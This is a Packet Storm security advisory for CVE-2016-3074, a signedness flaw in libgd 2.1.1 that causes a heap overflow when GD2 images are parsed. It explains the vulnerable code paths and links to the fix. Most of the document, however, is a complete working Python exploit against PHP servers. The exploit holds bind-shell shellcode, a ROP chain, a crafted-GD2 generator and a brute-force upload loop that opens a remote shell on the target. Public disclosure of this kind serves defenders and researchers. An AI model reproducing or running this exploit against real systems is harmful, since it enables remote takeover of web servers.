Lucene search

K
packetstormHans Jerry IllikainenPACKETSTORM:136757
HistoryApr 21, 2016 - 12:00 a.m.

libgd 2.1.1 Signedness

2016-04-2100:00:00
Hans Jerry Illikainen
packetstormsecurity.com
45

0.487 Medium

EPSS

Percentile

97.2%

`Overview  
========  
  
libgd [1] is an open-source image library. It is perhaps primarily used  
by the PHP project. It has been bundled with the default installation  
of PHP since version 4.3 [2].  
  
A signedness vulnerability (CVE-2016-3074) exist in libgd 2.1.1 which  
may result in a heap overflow when processing compressed gd2 data.  
  
  
Details  
=======  
  
4 bytes representing the chunk index size is stored in a signed integer,  
chunkIdx[i].size, by `gdGetInt()' during the parsing of GD2 headers:  
  
libgd-2.1.1/src/gd_gd2.c:  
,----  
| 53 typedef struct {  
| 54 int offset;  
| 55 int size;  
| 56 }  
| 57 t_chunk_info;  
`----  
  
libgd-2.1.1/src/gd_gd2.c:  
,----  
| 65 static int  
| 66 _gd2GetHeader (gdIOCtxPtr in, int *sx, int *sy,  
| 67 int *cs, int *vers, int *fmt, int *ncx, int *ncy,  
| 68 t_chunk_info ** chunkIdx)  
| 69 {  
| ...  
| 73 t_chunk_info *cidx;  
| ...  
| 155 if (gd2_compressed (*fmt)) {  
| ...  
| 163 for (i = 0; i < nc; i++) {  
| ...  
| 167 if (gdGetInt (&cidx[i].size, in) != 1) {  
| 168 goto fail2;  
| 169 };  
| 170 };  
| 171 *chunkIdx = cidx;  
| 172 };  
| ...  
| 181 }  
`----  
  
`gdImageCreateFromGd2Ctx()' and `gdImageCreateFromGd2PartCtx()' then  
allocates memory for the compressed data based on the value of the  
largest chunk size:  
  
libgd-2.1.1/src/gd_gd2.c:  
,----  
| 371|637 if (gd2_compressed (fmt)) {  
| 372|638 /* Find the maximum compressed chunk size. */  
| 373|639 compMax = 0;  
| 374|640 for (i = 0; (i < nc); i++) {  
| 375|641 if (chunkIdx[i].size > compMax) {  
| 376|642 compMax = chunkIdx[i].size;  
| 377|643 };  
| 378|644 };  
| 379|645 compMax++;  
| ...|...  
| 387|656 compBuf = gdCalloc (compMax, 1);  
| ...|...  
| 393|661 };  
`----  
  
A size of <= 0 results in `compMax' retaining its initial value during  
the loop, followed by it being incremented to 1. Since `compMax' is  
used as the nmemb for `gdCalloc()', this leads to a 1*1 byte allocation  
for `compBuf'.  
  
This is followed by compressed data being read to `compBuf' based on the  
current (potentially negative) chunk size:  
  
libgd-2.1.1/src/gd_gd2.c:  
,----  
| 339 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ctx (gdIOCtxPtr in)  
| 340 {  
| ...  
| 413 if (gd2_compressed (fmt)) {  
| 414  
| 415 chunkLen = chunkMax;  
| 416  
| 417 if (!_gd2ReadChunk (chunkIdx[chunkNum].offset,  
| 418 compBuf,  
| 419 chunkIdx[chunkNum].size,  
| 420 (char *) chunkBuf, &chunkLen, in)) {  
| 421 GD2_DBG (printf ("Error reading comproessed chunk\n"));  
| 422 goto fail;  
| 423 };  
| 424  
| 425 chunkPos = 0;  
| 426 };  
| ...  
| 501 }  
`----  
  
  
libgd-2.1.1/src/gd_gd2.c:  
,----  
| 585 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2PartCtx (gdIOCtx * in, int srcx, int srcy, int w, int h)  
| 586 {  
| ...  
| 713 if (!gd2_compressed (fmt)) {  
| ...  
| 731 } else {  
| 732 chunkNum = cx + cy * ncx;  
| 733  
| 734 chunkLen = chunkMax;  
| 735 if (!_gd2ReadChunk (chunkIdx[chunkNum].offset,  
| 736 compBuf,  
| 737 chunkIdx[chunkNum].size,  
| 738 (char *) chunkBuf, &chunkLen, in)) {  
| 739 printf ("Error reading comproessed chunk\n");  
| 740 goto fail2;  
| 741 };  
| ...  
| 746 };  
| ...  
| 815 }  
`----  
  
The size is subsequently interpreted as a size_t by `fread()' or  
`memcpy()', depending on how the image is read:  
  
libgd-2.1.1/src/gd_gd2.c:  
,----  
| 221 static int  
| 222 _gd2ReadChunk (int offset, char *compBuf, int compSize, char *chunkBuf,  
| 223 uLongf * chunkLen, gdIOCtx * in)  
| 224 {  
| ...  
| 236 if (gdGetBuf (compBuf, compSize, in) != compSize) {  
| 237 return FALSE;  
| 238 };  
| ...  
| 251 }  
`----  
  
libgd-2.1.1/src/gd_io.c:  
,----  
| 211 int gdGetBuf(void *buf, int size, gdIOCtx *ctx)  
| 212 {  
| 213 return (ctx->getBuf)(ctx, buf, size);  
| 214 }  
`----  
  
  
For file contexts:  
  
libgd-2.1.1/src/gd_io_file.c:  
,----  
| 52 BGD_DECLARE(gdIOCtx *) gdNewFileCtx(FILE *f)  
| 53 {  
| ...  
| 67 ctx->ctx.getBuf = fileGetbuf;  
| ...  
| 76 }  
| ...  
| 92 static int fileGetbuf(gdIOCtx *ctx, void *buf, int size)  
| 93 {  
| 94 fileIOCtx *fctx;  
| 95 fctx = (fileIOCtx *)ctx;  
| 96  
| 97 return (fread(buf, 1, size, fctx->f));  
| 98 }  
`----  
  
  
And for dynamic contexts:  
  
libgd-2.1.1/src/gd_io_dp.c:  
,----  
| 74 BGD_DECLARE(gdIOCtx *) gdNewDynamicCtxEx(int initialSize, void *data, int freeOKFlag)  
| 75 {  
| ...  
| 95 ctx->ctx.getBuf = dynamicGetbuf;  
| ...  
| 104 }  
| ...  
| 256 static int dynamicGetbuf(gdIOCtxPtr ctx, void *buf, int len)  
| 257 {  
| ...  
| 280 memcpy(buf, (void *) ((char *)dp->data + dp->pos), rlen);  
| ...  
| 284 }  
`----  
  
  
PoC  
===  
  
Against Ubuntu 15.10 amd64 running nginx with php5-fpm and php5-gd [3]:  
  
,----  
| $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php  
| [*] this may take a while  
| [*] offset 912 of 10000...  
| [+] connected to 1.2.3.4:5555  
| id  
| uid=33(www-data) gid=33(www-data) groups=33(www-data)  
|   
| uname -a  
| Linux wily64 4.2.0-35-generic #40-Ubuntu SMP Tue Mar 15 22:15:45 UTC  
| 2016 x86_64 x86_64 x86_64 GNU/Linux  
|   
| dpkg -l|grep -E "php5-(fpm|gd)"  
| ii php5-fpm 5.6.11+dfsg-1ubuntu3.1 ...  
| ii php5-gd 5.6.11+dfsg-1ubuntu3.1 ...  
|   
| cat upload.php  
| <?php  
| imagecreatefromgd2($_FILES["file"]["tmp_name"]);  
| ?>  
`----  
  
  
Solution  
========  
  
This bug has been fixed in git HEAD [4].  
  
  
  
Footnotes  
_________  
  
[1] [http://libgd.org/]  
  
[2] [https://en.wikipedia.org/wiki/Libgd]  
  
[3] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-3074]  
  
[4] [https://github.com/libgd/libgd/commit/2bb97f407c1145c850416a3bfbcc8cf124e68a19]  
  
  
--   
Hans Jerry Illikainen  
  
  
Proof of concept:  
  
#!/usr/bin/env python2  
#  
# PoC for CVE-2016-3074 targeting Ubuntu 15.10 x86-64 with php5-gd and  
# php5-fpm running behind nginx.  
#  
# ,----  
# | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php  
# | [*] this may take a while  
# | [*] offset 912 of 10000...  
# | [+] connected to 1.2.3.4:5555  
# | id  
# | uid=33(www-data) gid=33(www-data) groups=33(www-data)  
# |  
# | uname -a  
# | Linux wily64 4.2.0-35-generic #40-Ubuntu SMP Tue Mar 15 22:15:45 UTC  
# | 2016 x86_64 x86_64 x86_64 GNU/Linux  
# |  
# | dpkg -l|grep -E "php5-(fpm|gd)"  
# | ii php5-fpm 5.6.11+dfsg-1ubuntu3.1 ...  
# | ii php5-gd 5.6.11+dfsg-1ubuntu3.1 ...  
# |  
# | cat upload.php  
# | <?php  
# | imagecreatefromgd2($_FILES["file"]["tmp_name"]);  
# | ?>  
# `----  
#  
# - Hans Jerry Illikainen  
#  
import sys  
import os  
import zlib  
import socket  
import threading  
import argparse  
import urlparse  
from struct import pack  
  
import requests  
  
# non-optimized bindshell from binjitsu  
#  
# context(arch="amd64", os="linux")  
# asm(shellcraft.bindsh(port, "ipv4"))  
shellcode = [  
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x52\xba",  
"%(fam-and-port)s\x52\x6a\x10\x5a\x48\x89\xc5\x48\x89\xc7",  
"\x6a\x31\x58\x48\x89\xe6\x0f\x05\x6a\x32\x58\x48\x89\xef",  
"\x6a\x01\x5e\x0f\x05\x6a\x2b\x58\x48\x89\xef\x31\xf6\x99",  
"\x0f\x05\x48\x89\xc5\x6a\x03\x5e\x48\xff\xce\x78\x0b\x56",  
"\x6a\x21\x58\x48\x89\xef\x0f\x05\xeb\xef\x6a\x68\x48\xb8",  
"\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x6a\x3b\x58\x48\x89",  
"\xe7\x31\xf6\x99\x0f\x05"  
]  
  
gadgets = [  
"\x90" * 40,  
  
# [16]  
#  
# 0xb6eca2: popfq  
# 0xb6eca3: callq *%rsp  
pack("<Q", 0xb6eca2),  
  
"%(pad)s",  
  
# [2]  
#  
# 0x4dbe8c: add $0xd8,%rsp  
# 0x4dbe93: retq  
pack("<Q", 0x4dbe8c),  
  
"\x90" * 48,  
  
# [1]  
#  
# (gdb) x/x {void *}($rsp + 8)  
# 0x12d7d60: 0x9090909090909090  
#  
# 0xa91f35: rex.WXB pop %r14  
# 0xa91f37: mov $0x3,%bh  
# 0xa91f39: pop %rsp  
# 0xa91f3a: retq  
pack("<Q", 0xa91f35),  
  
"\x90" * 152,  
  
# [0]  
#  
# (gdb) x/i $rip  
# => 0x7f91acf61f46: callq *0x70(%rax)  
#  
# (gdb) x/gx 0x432b80  
# 0x432b80: 0x0000000000547880  
#  
# (gdb) x/3i 0x0000000000547880  
# 0x547880: push %rbx  
# 0x547881: mov %rdi,%rbx  
# 0x547884: callq *0x20(%rdi)  
pack("<Q", 0x432b80 - 0x70),  
  
# [3]  
#  
# 0x463e2c: pop %rbx  
# 0x463e2d: retq  
pack("<Q", 0x463e2c),  
  
# [7]  
#  
# 0x463b1d: pop %r12  
# 0x463b1f: retq  
pack("<Q", 0x463b1d),  
  
# [4]  
#  
# 0x473053: pop %rax  
# 0x473054: retq  
pack("<Q", 0x473053),  
  
# [6]  
#  
# 0xa8bc37: push %rdx  
# 0xa8bc38: jmpq *%rbx  
pack("<Q", 0xa8bc37),  
  
# [5]  
#  
# 0x7b2eaf: mov %r9,%rdx  
# 0x7b2eb2: jmpq *%rax  
pack("<Q", 0x7b2eaf),  
  
# [8]  
#  
# 0x552768: mov %rdi,%rax  
# 0x55276b: retq  
pack("<Q", 0x552768),  
  
# [9]  
#  
# 0x463e2c: pop %rbx  
# 0x463e2d: retq  
pack("<Q", 0x463e2c),  
pack("<Q", 0xfffff000),  
  
# [10]  
#  
# 0xb6c734: and %ebx,%eax  
# 0xb6c736: es retq  
pack("<Q", 0xb6c734),  
  
# [11]  
#  
# 0x4c93e9: xchg %eax,%ebx  
# 0x4c93ea: retq  
pack("<Q", 0x4c93e9),  
  
# [12]  
#  
# 0x406a08: pop %rcx (len, 0x5555)  
# 0x406a09: retq  
pack("<Q", 0x406a08),  
pack("<Q", 0x5555),  
  
# [13]  
#  
# 0xaf58fd: pop %rdx (PROT_READ|PROT_WRITE|PROT_EXEC)  
# 0xaf58fe: retq  
pack("<Q", 0xaf58fd),  
pack("<Q", 7),  
  
# [14]  
#  
# 0x473053: pop %rax (mprotect)  
# 0x473054: retq  
pack("<Q", 0x473053),  
pack("<Q", 125),  
  
# [15]  
#  
# 0x53f9f8: int $0x80  
# 0x53f9fa: mov 0x38(%r12),%rsi  
# 0x53f9ff: mov $0x8f,%edi  
# 0x53fa04: callq *0x28(%r12)  
pack("<Q", 0x53f9f8),  
  
"\x90" * 100,  
]  
  
# gd.h: #define gdMaxColors 256  
gd_max_colors = 256  
  
  
def make_gd2(chunks):  
gd2 = [  
"gd2\x00", # signature  
pack(">H", 2), # version  
pack(">H", 1), # image size (x)  
pack(">H", 1), # image size (y)  
pack(">H", 0x40), # chunk size (0x40 <= cs <= 0x80)  
pack(">H", 2), # format (GD2_FMT_COMPRESSED)  
pack(">H", 1), # num of chunks wide  
pack(">H", len(chunks)) # num of chunks high  
]  
colors = [  
pack(">B", 0), # trueColorFlag  
pack(">H", 0), # im->colorsTotal  
pack(">I", 0), # im->transparent  
pack(">I", 0) * gd_max_colors # red[i], green[i], blue[i], alpha[i]  
]  
  
offset = len("".join(gd2)) + len("".join(colors)) + len(chunks) * 8  
for data, size in chunks:  
gd2.append(pack(">I", offset)) # cidx[i].offset  
gd2.append(pack(">I", size)) # cidx[i].size  
offset += size  
  
return "".join(gd2 + colors + [data for data, size in chunks])  
  
  
def connect(host, port):  
addr = socket.gethostbyname(host)  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
sock.connect((addr, port))  
except socket.error:  
return  
  
print("\n[+] connected to %s:%d" % (host, port))  
if os.fork() == 0:  
while True:  
try:  
data = sock.recv(8192)  
except KeyboardInterrupt:  
sys.exit("\n[!] receiver aborting")  
if data == "":  
sys.exit("[!] receiver aborting")  
sys.stdout.write(data)  
else:  
while True:  
try:  
cmd = sys.stdin.readline()  
except KeyboardInterrupt:  
sock.close()  
sys.exit("[!] sender aborting")  
sock.send(cmd)  
  
  
def send_gd2(url, gd2, code):  
files = {"file": gd2}  
try:  
req = requests.post(url, files=files, timeout=5)  
code.append(req.status_code)  
except requests.exceptions.ReadTimeout:  
pass  
  
  
def get_payload(offset, port):  
rop = "".join(gadgets) % {"pad": "\x90" * offset}  
  
fam_and_port = pack("<I", (socket.AF_INET | (socket.htons(port) << 16)))  
sc = "".join(shellcode) % {"fam-and-port": fam_and_port}  
  
return rop + sc  
  
  
def get_args():  
p = argparse.ArgumentParser()  
p.add_argument("--threads", type=int, default=20)  
p.add_argument("--bind-port", type=int, default=8000)  
p.add_argument("--offsets", type=int, default=[0, 10000], nargs=2)  
p.add_argument("url")  
return p.parse_args()  
  
  
def main():  
args = get_args()  
host = urlparse.urlparse(args.url).netloc.split(":")[0]  
  
print("[*] this may take a while")  
for i in range(args.offsets[0], args.offsets[1]):  
sys.stdout.write("\r[*] offset %d of %d..." % (i, args.offsets[1]))  
sys.stdout.flush()  
  
valid = zlib.compress("A" * 100, 0)  
payload = get_payload(i, args.bind_port)  
gd2 = make_gd2([(valid, len(valid)), (payload, 0xffffffff)])  
  
threads = []  
code = []  
for _ in range(args.threads):  
t = threading.Thread(target=send_gd2, args=(args.url, gd2, code))  
t.start()  
threads.append(t)  
  
for t in threads:  
t.join()  
  
if 404 in code:  
sys.exit("\n[-] 404: %s" % args.url)  
connect(host, args.bind_port)  
  
print("\n[-] nope...")  
  
if __name__ == "__main__":  
main()  
  
  
`